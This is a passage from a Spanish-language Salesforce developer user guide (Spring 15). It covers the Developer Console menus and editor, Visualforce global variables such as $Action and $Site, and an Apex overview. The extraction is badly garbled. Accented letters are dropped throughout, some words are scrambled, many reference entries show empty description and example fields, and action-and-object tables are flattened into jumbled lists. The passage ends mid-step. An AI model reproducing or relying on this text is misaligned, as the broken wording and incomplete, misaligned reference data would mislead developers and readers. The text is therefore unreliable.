Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
cdigo
Gua del usuario, Spring 15
@salesforcedocs
Copyright 20002014 salesforce.com, inc. Reservados todos los derechos. Salesforce.com es una marca registrada de
salesforce.com, inc., como el resto de nombres y marcas. El resto de las marcas pueden ser marcas registradas de sus
respectivos propietarios.
CONTENIDO
Mejora de Salesforce mediante cdigo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Bienvenidos, desarrolladores de Salesforce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Herramientas de desarrollo de Salesforce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Cdigo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Depuracin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204
Prueba . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 240
Implementacin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 248
ndice . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
Cdigo Depurac
i n Prueba m
I pelmena
tcin Disponible para
Consola de desarrollador de
Force.com
Men <Su
IDE de Force.com
developer.salesforce.com
Configuracin o Mi
configuracin
Editor de cdigo
Configuracin
Configuracin
Conjuntos de cambios
Configuracin
Herramienta de migracin
Force.com
Configuracin
nombre>
EDICIONES
Las herramientas
disponibles varan segn la
edicin de Salesforce que
posea.
Nota: El IDE de Force.com es un recurso proporcionado por salesforce.com para ayudar a sus usuarios y socios, pero no se considera
parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de salesforce.com.
CONSULTE TAMBIN
Uso de la Consola de desarrollador
Activacin del modo de desarrollo
Cdigo
Escritura de cdigo
Esta seccin contiene informacin sobre cmo escribir cdigo para ampliar su organizacin.
Uso de la Consola de desarrollador
Proteccin de su cdigo
Editor Consulta
Trabajo con cdigo
Integracin de sus aplicaciones con Salesforce
CONSULTE TAMBIN
Depuracin de su cdigo
Prueba de cambios
Implementacin
Consola de desarrollador
Descripcin general de la interfaz de usuario de la Consola de desarrollador
La Consola de desarrollador incluye un grupo de herramientas tiles para codificar, depurar y probar aplicaciones.
Barra de mens
La barra de mens incluye los siguientes mens desplegables:
El men Archivo le permite abrir y crear recursos.
El men Modificar permite buscar y modificar los archivos de cdigo.
El men Depuracin proporciona acceso a una serie de herramientas y ajustes.
El men Prueba proporciona acceso a las herramientas de prueba.
El men Espacio de trabajo le permite seleccionar y gestionar espacios de trabajo.
El men Ayuda incluye vnculos a la ayuda en lnea, una pgina de referencia de las teclas de acceso directo, la pgina de preferencias
de la Consola de desarrollador y un conjunto de visitas guiadas.
Espacio de trabajo
Un espacio de trabajo es un conjunto de recursos representados por fichas en el panel principal de la Consola de desarrollador. La vista
de detalles o el editor mostrado en cada ficha estn determinados por el tipo de recurso abierto en la ficha. Por ejemplo, el cdigo fuente
se abre en el editor de cdigo fuente, los registros se abren en el Inspector de registros, etc.
Puede crear un espacio de trabajo para cualquier grupo de recursos que utilice para mantener su trabajo organizado. Por ejemplo, puede
crear un espacio de trabajo para cdigo fuente y otro para registros de depuracin, alternndolos conforme codifique o realice pruebas.
Consulte Espacios de trabajo de la Consola de desarrollador.
EDICIONES
"Apex de autor"
Apex de autor
Personalizar aplicacin
Qu es la Consola de desarrollador?
La Consola de desarrollador es un entorno de desarrollo integrado con un conjunto de herramientas que puede utilizar para crear,
depurar y probar aplicaciones en su organizacin de Salesforce.
Para abrir la Consola de desarrollador, haga clic en Su nombre > Consola de desarrollador. Para ver una introduccin a la interfaz
del usuario, consulte Descripcin general de la interfaz de usuario de la Consola de desarrollador. Vaya a developer.salesforce.com para
obtener las ltimas noticias e informacin sobre el desarrollo de Salesforce.
Uso del editor de cdigos fuente: abra un conjunto de archivos de cdigo de trabajo y altrnelos con slo hacer clic. El editor de
cdigo fuente de la Consola de desarrollador incluye una funcin de cumplimentacin automtica para el cdigo Apex.
Comprobacin y validacin del rendimiento
La Consola de desarrollador tiene una serie de funciones destinadas a probar el cdigo y analizar el rendimiento.
Comprobacin de cdigo Apex: utilice la Consola de desarrollador para comprobar la cobertura del cdigo y ejecutar pruebas de
Apex, incluidas pruebas de unidad, funcionales, de regresin, etc. Para facilitar el desarrollo de un cdigo resistente y sin errores,
Apex ayuda a la creacin y ejecucin de pruebas de unidad. Las pruebas de unidad son mtodos de clases que verifican si una parte
especfica del cdigo funciona adecuadamente. Los mtodos de comprobacin de unidades no tienen argumentos, no aplican
datos a la base de datos, no envan correos electrnicos y se marcan con la palabra clave testMethod o la anotacin isTest
en la definicin de mtodo. De igual forma, los mtodos de prueba deben definirse en las clases de pruebas, es decir, clases anotadas
con isTest.
Revisin de registros por problemas de rendimiento: el Inspector de registros es un visor de ejecucin contextual que muestra
el origen de una operacin, qu ha generado esa operacin y qu ocurri despus. Utilice esta herramienta para revisar registros de
depuracin que incluyen eventos de bases de datos, procesamiento de Apex, flujo de trabajo y lgica de validacin. Abra un registro
de depuracin y vea el rendimiento aadido de una operacin en el rbol de rendimiento. El panel Unidades ejecutadas divide la
solicitud por tiempo y tipo y establece categoras de intervalos por mtodos, consultas, flujos de trabajo, llamadas, DML, validaciones,
desencadenadores y pginas; lo que ofrece una idea clara de dnde localizar los problemas de rendimiento. Utilice el panel Plazo
para ver una vista de tiempo lmite de la solicitud global y comprobar los eventos de un bloque determinado. El panel Lmites ofrece
una vista de resumen de los recursos utilizados para adjudicarlos segn los lmites de solicitudes asignados.
Ejecucin de consultas SOQL y SOSL
La Consola de desarrollador proporciona una interfaz sencilla para gestionar consultas SOQL y SOSL.
Modificacin y ejecucin de consultas SOQL y SOSL: utilice la herramientaEditor Consulta para consultar datos desde su
organizacin.
Visualizacin de resultados de consulta: Los resultados se muestran en una cuadrcula Resultados de consulta que le permite
abrir, crear, actualizar y eliminar registros. En los resultados de bsquedas SOSL con mltiples objetos, cada objeto aparece en una
ficha distinta.
CONSULTE TAMBIN
Descripcin general de la interfaz de usuario de la Consola de desarrollador
Men Archivo
Ficha Registros
Ejemplos de uso del Inspector de registros
Parmetros
Descripcin
comandos
Ninguno
ejecutar <declaraciones de
Apex>
Ninguno
ayuda
Ninguno
gestionar <command>
la lnea de comandos.
Derecha: CTRL+RePg
Retroceder: CTRL+,
Avanzar: CTRL+.
Haciendo clic en el
(o CTRL+) se mueve por las fichas vistas anteriormente en el mismo orden en el que las vio. El botn
solamente se activa cuando est viendo su historial.
CONSULTE TAMBIN
Descripcin general de la interfaz de usuario de la Consola de desarrollador
Editor de cdigo fuente
Men Archivo
El men Archivo de la consola de desarrollador le permite gestionar los desencadenadores y las clases de Apex, las pginas o componentes
de Visualforce y los recursos estticos (texto, XML, JavaScript o CSS). Incluye las opciones siguientes:
Nuevo: Crea un nuevo recurso y lo abre en el Editor de cdigo fuente. Puede crear estos recursos:
Clase o desencadenador de Apex; Para crear un nuevo desencadenador de Apex, seleccione en primer lugar el objeto para
asociar con el desencadenador.
Pgina o componente de Visualforce
Archivo de recurso esttico (texto, XML, JavaScript o CSS)
Abrir: inicia la ventana Abrir de Archivo que le permite buscar y abrir el cdigo de la aplicacin y los objetos de datos.
Abrir recurso: abre la ventana Abrir recurso, la cual permite buscar archivos por nombre.
Abrir registro: abre el registro seleccionado en el Inspector de registros. Tambin puede acceder a los registros desde la ficha
Registros.
Abrir registro sin procesar: abre el registro seleccionado como texto sin formato.
Descargar registro: guarda una copia de texto del registro seleccionado en el equipo local.
Guardar: guarda el elemento de la ficha activa.
Guardar todo: guarda los cambios de todas las fichas abiertas en el espacio de trabajo. Utilice esta opcin para guardar un conjunto
de los cambios dependientes.
Eliminar: elimina el elemento de la ficha activa. Solo puede eliminar desencadenadores y clases de Apex, pginas de Visualforce y
archivos de recursos estticos.
Cerrar: cierra la ficha activa.
Cerrar todo: cierra todas las fichas abiertas en el espacio de trabajo. Si una ficha contiene cambios sin guardar, se le preguntar si
desea guardarlos.
CONSULTE TAMBIN
Uso de la ventana Abrir de Archivo
Editor de cdigo fuente
Inspector de objetos
Men Modificar
El men Modificar de la Consola de desarrollador permite buscar y modificar los archivos de cdigo.
Buscar: busca en la vista actual el texto seleccionado. Si no se selecciona texto, se abre una cuadro de dilogo de bsqueda del
explorador.
Buscar siguiente: busca la siguiente coincidencia para el texto seleccionado o especificado en la vista actual.
Buscar y reemplazar: busca y reemplaza el texto seleccionado o especificado en la vista actual.
Bsqueda en archivos: abre un cuadro de dilogo para buscar en el contenido de todos los archivos de cdigo.
Corregir sangra: corrige la sangra del archivo de cdigo actual.
Men de depuracin
El men de la consola del desarrollador Depuracin le permite gestionar sus registros y ejecutar Apex annimas. Incluye las siguientes
opciones:
Abrir ventana de ejecucin annima: Abre una ventana nueva que le permite introducir cdigos Apex para pruebas. Consulte
Cdigo Apex de ejecucin annima.
ltima ejecucin: Ejecuta la entrada ms reciente en la ventana Introducir cdigo Apex.
Cambiar perspectiva: Selecciona la perspectiva desde la lista de perspectivas estndar y personalizadas disponibles. Consulte
Inspector de registros.
Visualizar paneles de registro: Muestra una lista de paneles disponibles para su uso en una perspectiva.
Gestor de perspectiva: Abre el Gestor de perspectivas. Consulte Gestin de perspectivas en el Inspector de registros.
Guardar perspectiva: Guarda cualquier cambio realizado en la perspectiva actual desde que se ha abierto.
Guardar perspectiva como: Guarda una copia de la perspectiva actual con un nombre diferente.
Ocultar registros automticamente: Seleccione esta opcin para borrar registros existentes donde se ha actualizado la pgina.
Solo mostrar mis registros actuales: Cancele la seleccin de esta opcin (seleccionada de forma predeterminada) para ver todos
los registros guardados en su organizacin, incluyendo los registros de sistema generados recientemente creados por otros usuarios.
Solo mostrar mis puntos de control actuales: Cancele la seleccin de esta opcin (seleccionada de forma predeterminada) para
mostrar todos los puntos de control guardados actualmente en su organizacin, incluyendo los registros de sistema generados
recientemente creados por otros usuarios.
Borrar: Seleccione Panel de registro, Panel de resultados del punto de control o Ubicaciones de puntos de control para
eliminar datos actuales del cach y actualizar la pantalla.
Reanudar actualizaciones: Renueva la conexin al servidor. Esta opcin solo aparece si se han interrumpido las consultas debido
a la inactividad.
Cambiar niveles de registro: Abre el dilogo de configuracin del registro para definir niveles de inicio de sesin para futuras
solicitudes. Consulte Configuracin de filtros de registro de depuracin.
Nota: Algunas opciones en el men Depuracin no son accesibles hasta que se genere un registro.
CONSULTE TAMBIN
Cdigo Apex de ejecucin annima
Inspector de registros
Gestin de perspectivas en el Inspector de registros
Filtros de categoras de registro de depuracin
Si desea ms informacin sobre la sintaxis de consulta y bsqueda, consulte la Referencia de Force.com SOQL y SOSL.
Apex y Visualforce
Trabajo con cdigo
Esta seccin contiene informacin sobre las herramientas y tcnicas que puede utilizar al realizar cambios en su organizacin utilizando
cdigo.
Uso del Editor para Visualforce
Editor de cdigo fuente
Inspector de objetos
Concepto de variables globales
Valores vlidos para la variable global $Action
Descripcin general del cdigo Apex
Descripcin general de Visualforce
Qu son los servicios de correo electrnico?
Descripcin general de etiquetas personalizadas
EDICIONES
Apex est disponible en:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition
EDICIONES
Visualforce est disponible
en: Contact Manager
Edition, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para modificar la marca de
Visualforce:
Personalizar aplicacin
Para modificar
controladores
personalizados de
Visualforce o Apex:
"Apex de autor"
Deshacer ( ) y Rehacer ( )
Utilice Deshacer para invertir una accin de modificacin y Rehacer para recrear una accin de modificacin que se haya deshecho.
Tamao de fuente
Seleccione un tamao de fuente de la lista desplegable para controlar el tamao de los caracteres que se muestran en el editor.
Posicin de lnea y columna
La posicin de lnea y columna del cursor se muestra en la barra de estado de la parte inferior del editor. Esto puede realizarse con
Ir a lnea (
CTRL+f
Abre el cuadro de dilogo de bsqueda o reemplaza la siguiente incidencia de la bsqueda actual con la cadena de reemplazo
especificada.
CTRL+g
La sintaxis resaltada en el editor de cdigo fuente informa sobre comentarios, nmeros, cadenas, palabras reservadas, primeros tipos
de datos, declaraciones variables y referencias. Para acceder a la bsqueda de cdigo, pulse CTRL+F.
Despus de implementar una prueba, puede ver la cobertura de cdigo por lneas en el editor de cdigo fuente. Consulte Comprobacin
de la cobertura del cdigo. El editor de cdigo fuente tambin le permite establecer puntos de comprobacin para solucionar problemas
sin actualizar el cdigo. Consulte Establecimiento de puntos de comprobacin en cdigo Apex.
Para cambiar entre el Editor de cdigo fuente y un editor de pantalla completa (si est disponible), pulse F11.
Acceso directo
Notas
Bsqueda
CTRL+F
Sustituir
CTRL+MAYS+F
Funcin
Acceso directo
Notas
continuacin le permite confirmar o rechazar cada
cambio.
Sustituir todo
CTRL+MAYS+R
Para buscar archivos que no estn abiertos en la vista actual, haga clic en Archivo > Buscar en archivos o pulse CTRL+MAYS+H.
Siga escribiendo para filtrar las sugerencias, pulse INTRO para seleccionar la sugerencia superior o utilice las teclas de flecha o el ratn
para seleccionar una cumplimentacin diferente.
Las cumplimentaciones se recogen del objeto en el que est trabajando actualmente. Si no ve la cumplimentacin que espera, guarde
el objeto abierto y actualice. El tipo del objeto est determinado por la tabla de smbolos del editor actual. Si ningn smbolo coincide,
las tablas de smbolos en cach (la ltima que se guard con xito) tambin se comprueban. Si no hay ningn objeto actual, la ventana
de cumplimentacin automtica muestra todas las clases del sistema y de usuario, as como elementos sObject.
Cuando las vistas de origen son validadas, todas las fuentes modificadas se validan a la vez en lugar de individualmente. Los cambios
que podran no ser coherentes con el cdigo del servidor, pero que s lo son cuando se validan como grupo (como aadir un mtodo
en un archivo y llamar a ese mtodo en otro), no aparecern como errores.
Almacenamiento de cambios
Cuando realiza cambios en el editor de cdigo fuente, el nombre de la ficha incluye un * para indicar que no se han guardado los
cambios. Los desencadenadores y las clases de Apex se guardan con la ltima versin de API del desencadenador y clase.
Para guardar un conjunto de cambios con dependencias, haga clic en Archivo > Guardar todo o CTRL+S+Mays. Todas las fichas
modificadas se guardan juntas en una consulta.
Cuando guarda vistas de origen modificadas, stas se validan con todos los archivos de origen guardados. Si los archivos de origen tienen
cambios relacionados, no ser posible guardarlos de forma individual. Si hay errores de complicacin, no podr guardarlos. Revise el
panel Problemas, corrija cualquier error y vuelva a hacer clic en Guardar.
Nota: No puede modificar y guardar las clases de Apex en una organizacin de produccin.
Inspector de objetos
El Inspector de objetos proporciona una referencia de slo lectura para los campos de un objeto estndar o personalizado y sus tipos
de datos. Para abrir el Inspector de objetos, haga clic en Archivo > Abrir y seleccione el objeto que desea ver. Para buscar objetos que
cumplan un criterio especfico, utilice el Editor Consulta.
Nota: No puede modificar objetos personalizados en la consola de desarrollador. Para crear, editar o eliminar objetos personalizados,
en Configuracin, haga clic en Crear > Objetos.
CONSULTE TAMBIN
Uso de la Consola de desarrollador
$Action
Descripcin:
Uso:
Ejemplo de S-Control:
Ejemplo de Visualforce:
Sugerencias:
<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Create
New Account</apex:outputLink>
EDICIONES
Visualforce, S-Control y
frmulas disponibles en:
Contact Manager Edition,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Los botones y vnculos
personalizados estn
disponibles en: todas las
ediciones
El tipo de campo de
combinacin global
$Profile est disponible
en: Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control,
frmulas o pginas de
Visualforce:
Personalizar aplicacin
Todos los objetos admiten acciones bsicas, como nuevo, duplicar, ver, modificar, enumerar y eliminar. La variable global $Action
tambin hace referencia a acciones disponibles en numerosos objetos estndar. Los valores disponibles en su organizacin pueden
diferir en funcin de las funciones que active.
$Api
Descripcin:
Uso:
Ejemplo de S-Control:
Ejemplo de Visualforce:
Sugerencias:
$Component
Descripcin:
Uso:
Ejemplo de Visualforce:
function beforeTextSave() {
document.getElementById('{!$Component.msgpost}').value
= myEditor.getEditorHTML();
}
Sugerencias:
$ComponentLabel
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$CurrentPage
Descripcin:
Tipo de campo de combinacin global que se debe utilizar al hacer referencia a la pgina de Visualforce o
solicitud de pgina actual.
Uso:
Utilice este campo global en una pgina de Visualforce para hacer referencia al nombre de la pgina actual
($CurrentPage.Name) o la URL de la pgina actual ($CurrentPage.URL). Utilice
$CurrentPage.parameters.nombreParmetro para hacer referencia a parmetros y valores
de solicitud de pgina, donde nombreParmetro es el parmetro de solicitud al que se hace referencia.
Ejemplo de
Visualforce:
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
Sugerencias:
$FieldSet
Descripcin:
Uso:
Utilice esto en sus pginas de Visualforce para iterar dinmicamente en los campos de un conjunto de
campos. A esta variable global debe agregarle un prefijo con una referencia al objeto estndar o personalizado
que tiene el conjunto de campos.
Ejemplo de
Visualforce:
Sugerencias:
<apex:page standardController="Account">
<apex:repeat value="{!$Account.FieldSet.mySpecialFields}"
var="field">
<apex:outputText value="{!field}" />
</apex:repeat>
</apex:page>
$Label
Descripcin:
Uso:
Ejemplo de Visualforce:
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>
Sugerencias:
$Label.Site
Descripcin:
Tipo de campo de combinacin global que se debe utilizar al hacer referencia a una etiqueta de Sites estndar
de una pgina de Visualforce. Al igual que todas las etiquetas estndar, el texto aparecer en funcin del
idioma y configuracin regional del usuario.
Uso:
Utilice esta expresin en una pgina de Visualforce para acceder a una etiqueta de Sites estndar. Si la
aplicacin del servidor crea la pgina para que aparezca en el navegador del usuario final, el valor devuelto
depende del idioma y de la configuracin regional del usuario.
Salesforce proporciona las siguientes etiquetas:
Etiqueta
Mensaje
authorization_required
Autorizacin necesaria
bandwidth_limit_exceeded
change_password
Cambiar contrasea
change_your_password
Cambie la contrasea
click_forget_password
community_nickname
Apodo
confirm_password
Confirmar contrasea
down_for_maintenance
Correo electrnico
email_us
enter_password
error
Error: {0}
error2
Error
file_not_found
No se ha encontrado el archivo
forgot_password
Contrasea olvidada
forgot_password_confirmation
forgot_your_password_q
Olvid la contrasea?
get_in_touch
go_to_login_page
img_path
/img/sites
Etiqueta
Mensaje
in_maintenance
limit_exceeded
Se ha superado el lmite.
login
Inicio de sesin
login_button
Inicio de sesin
login_or_register_first
logout
Finalizar sesin
new_password
Nueva contrasea
new_user_q
Es un usuario nuevo?
old_password
Contrasea anterior
page_not_found
No se ha encontrado la pgina
page_not_found_detail
password
Contrasea
passwords_dont_match
powered_by
Con tecnologa de
register
Registro
registration_confirmation
Confirmacin de registro
site_login
site_under_construction
sorry_for_inconvenience
sorry_for_inconvenience_back_shortly
stay_tuned
Permanezca atento.
submit
Enviar
temp_password_sent
thank_you_for_registering
under_construction
user_registration
username
Nombre de usuario
verify_new_password
Ejemplo de
Visualforce:
Sugerencias:
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>
$ObjectType
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$Organization
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$Page
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
<apex:page>
<h1>Linked</h1>
<apex:outputLink
value="{!$Page.otherPage}">
This is a link to another page.
</apex:outputLink>
</apex:page>
$Permiso
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$Profile
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$Profile Value
Administrador del
sistema
PT1
Usuario estndar
PT2
Slo lectura
PT3
Gestor de soluciones
PT4
Usuario de marketing
PT5
Administrador del
contrato
PT6
Usuario de socio
PT7
PT9
PT13
PT14
$RecordType
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$Request
Descripcin:
Uso:
Ejemplo de S-Control:
Sugerencias:
$Resource
Descripcin:
Uso:
Ejemplos de Visualforce:
Sugerencias:
$SControl
Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones que no hayan usado anteriormente
S-Control no podrn crearlos. Los S-Control existentes no se vern afectados y todava podrn modificarse.
Descripcin:
Uso:
Ejemplo de S-Control:
Ejemplo de Visualforce:
Sugerencias:
$Setup
Descripcin:
Uso:
{!$Setup.CustomSettingName__c.CustomFieldName__c}
$Sitio
Descripcin:
Tipo de campo de combinacin global que se debe utilizar al hacer referencia a informacin sobre el sitio
actual de Force.com.
Uso:
Utilice diferenciacin de punto para acceder a informacin acerca del sitio actual de Force.com. Tenga en
cuenta que nicamente estn disponibles los siguientes campos de sitio:
Campo de combinacin
Descripcin
$Site.Name
$Site.Domain
$Site.CustomWebAddress
$Site.OriginalUrl
$Site.CurrentSiteUrl
Devuelve la URL de base del sitio actual que deberan utilizar las
referencias y los vnculos. Tenga en cuenta que este campo podra
devolver la URL de la pgina de referencia en lugar de la URL de
la solicitud actual. El valor de este campo incluye un prefijo de ruta
y siempre termina con el carcter /. Si la solicitud actual no es
una solicitud de sitio, entonces este campo devuelve una cadena
Campo de combinacin
Descripcin
vaca. Se desaconseja el uso de $Site.CurrentSiteUrl. Utilice
$Site.BaseUrl en su lugar.
$Site.LoginEnabled
$Site.RegistrationEnabled
$Site.IsPasswordExpired
$Site.AdminEmailAddress
$Site.Prefix
$Site.Template
$Site.ErrorMessage
$Site.ErrorDescription
$Site.AnalyticsTrackingCode
$Site.BaseCustomUrl
Campo de combinacin
Descripcin
$Site.BaseInsecureUrl
Devuelve una URL de base para el sitio actual que utiliza HTTP en
lugar de HTTPS. Se utiliza el dominio de la solicitud actual. El valor
devuelto incluye el prefijo de ruta y nunca termina con el carcter
/. Si la solicitud actual no es una solicitud de sitio, entonces este
mtodo devuelve una cadena vaca.
$Site.BaseRequestUrl
$Site.BaseSecureUrl
Devuelve una URL de base para el sitio actual que utiliza HTTPS
en lugar de HTTP. Se prefiere el dominio de la solicitud actual si
admite HTTPS. Se prefieren los dominios que no sean subdominios
de Force.com antes que los subdominios de Force.com. Se utiliza
un subdominio de Force.com, si est asociado con el sitio, en el
caso de que no exista ningn otro dominio HTTPS en el sitio actual.
Si no hay ninguna URL personalizada HTTPS en el sitio, entonces
este mtodo devuelve una cadena vaca. El valor devuelto incluye
el prefijo de ruta y nunca termina con el carcter /. Si la solicitud
actual no es una solicitud de sitio, entonces este mtodo devuelve
una cadena vaca.
$Site.BaseUrl
Devuelve la URL de base del sitio actual que deberan utilizar las
referencias y los vnculos. Tenga en cuenta que este campo puede
devolver la URL de la pgina de referencia en lugar de la URL de
la solicitud actual. El valor de este campo incluye el prefijo de ruta
y nunca termina con el carcter /. Si la solicitud actual no es una
solicitud de sitio, entonces este campo devuelve una cadena vaca.
Este campo sustituye a $Site.CurrentSiteUrl.
$Site.MasterLabel
$Site.SiteId
$Site.SiteType
Devuelve el valor de la API del campo Tipo del sitio del sitio actual.
Si la solicitud actual no es una solicitud de sitio, entonces este
campo devuelve una cadena vaca.
$Site.SiteTypeLabel
Devuelve el valor de la etiqueta del campo Tipo del sitio del sitio
actual. Si la solicitud actual no es una solicitud de sitio, entonces
este campo devuelve una cadena vaca.
Ejemplo de
Visualforce:
Sugerencias:
Esta variable global est disponible en pginas de Visualforce, plantillas de correo electrnico y s-control.
$System.OriginDateTime
Descripcin:
Uso:
Ejemplo de frmula:
Sugerencias:
$User
Descripcin:
Uso:
Ejemplo de Visualforce:
Sugerencias:
$User.UITheme y $User.UIThemeDisplayed
Descripcin:
Uso:
Ejemplo de Visualforce:
$UserRole
Descripcin:
Uso:
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)
Ejemplo de Visualforce:
Sugerencias:
{!$UserRole.LastModifiedById}
ContactAccessForAccountOwner
OpportunityAccessForAccountOwner
PortalType
CONSULTE TAMBIN
Valores vlidos para la variable global $Action
Descripcin
Objetos
Aceptar
Acepta un registro.
Grupos de anuncios
EDICIONES
Variable global de
$Action disponible en:
todas las ediciones
PERMISOS DE USUARIO
Caso
Evento
Campaa de Google
Palabra clave
Candidato
Frase de bsqueda
Versin de SFGA
Anuncio de texto
Activar
Activa un contrato.
Contrato
Agregar
Agregar campaa
Agrega un miembro de
campaa.
Agregar influencia
Agregar producto
Aadir a campaa
Agrega un contacto o
candidato a una campaa.
Campaa
Contacto
Candidato
Agregar a Outlook
Evento
Configuracin avanzada
Campaa
Noticias de Altavista
Cancelar
Cancela un evento.
Evento
Seleccin de caso
Solucin
Cambiar propietario
Cuenta
Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidatos
Oportunidades
Frase de bsqueda
Versin de SFGA
Anuncio de texto
Cambiar estado
Caso
Candidato
Lista de precios
Partida de oportunidad
Duplicar
Duplica un registro.
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Anuncio de texto
Objetos personalizados
Duplicar como secundario
Caso
Cerrar caso
Cierra un caso.
Caso
Convertir
Candidato
Convertir candidato
Crear oportunidad
Miembro de la campaa
Declinar
Declina un evento.
Evento
Eliminar
Elimina un registro.
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Objetos personalizados
Eliminar serie
Evento
Tarea
Cuenta
Descargar
Archivo adjunto
Documento
Modificar
Modifica un registro.
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Objetos personalizados
Partida de oportunidad
Habilitar autoservicio
Buscar duplicados
Candidato
Evento de seguimiento
Evento
Tarea de seguimiento
Evento
Cuenta
Candidato
Incluir Offline
Cuenta
Google Maps
Cuenta
Contacto
Candidato
Google News
Muestra www.google.com/news.
Cuenta
Contacto
Candidato
Google Search
Muestra www.google.com.
Cuenta
Contacto
Candidato
Lista
Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Anuncio de texto
Objetos personalizados
Registrar llamada
Actividad
Combinar correo
Actividad
Gestionar miembros
Campaa
Cierre masivo
Caso
Combinar
Combina contactos.
Contacto
Nuevo
Actividad
Grupos de anuncios
Activo
Campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Objetos personalizados
Nueva tarea
Tarea
Solicitar actualizacin
Contacto
Actividad
Seleccionar autoservicio
Solucin
Actividad
Enviar a Gmail
Contacto
Ordenar
Partida de oportunidad
Compartir
Comparte un registro.
Cuenta
Candidato
Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidato
Oportunidad
Frase de bsqueda
Versin de SFGA
Anuncio de texto
Enviar para aprobacin
Cuenta
Actividad
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Ficha
Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Anuncio de texto
Ver
Muestra un registro.
Actividad
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Anuncio de texto
Objetos personalizados
Campaa
Campaa
Contacto
Ver autoservicio
Yahoo Maps
Cuenta
Contacto
Candidato
Yahoo Weather
Muestra
http://weather.yahoo.com/.
CONSULTE TAMBIN
Concepto de variables globales
Contacto
Cdigo Apex
Descripcin general del cdigo Apex
Apex es un lenguaje de secuencia centrado en objetos y muy definido que permite a los
desarrolladores ejecutar declaraciones de control de transacciones y flujos en el servidor de la
plataforma Force.com junto con llamadas a la API de Force.com. Gracias a una sintaxis parecida a
Java y un funcionamiento similar a los procedimientos almacenados en una base de datos, Apex
permite a los desarrolladores agregar la lgica empresarial a la mayora de los eventos del sistema,
entre los que se incluyen el hacer clic en los botones, las actualizaciones de registros relacionados
y las pginas de Visualforce . Los cdigos de Apex pueden iniciarse mediante solicitudes de servicio
Web y a partir de desencadenadores en objetos.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
3. Haga clic en Configuracin de versin para especificar la versin de Apex y la API utilizada
con esta clase. Si su organizacin tiene paquetes gestionados instalados de AppExchange,
tambin puede especificar qu versin de cada paquete gestionado debe utilizarse con esta
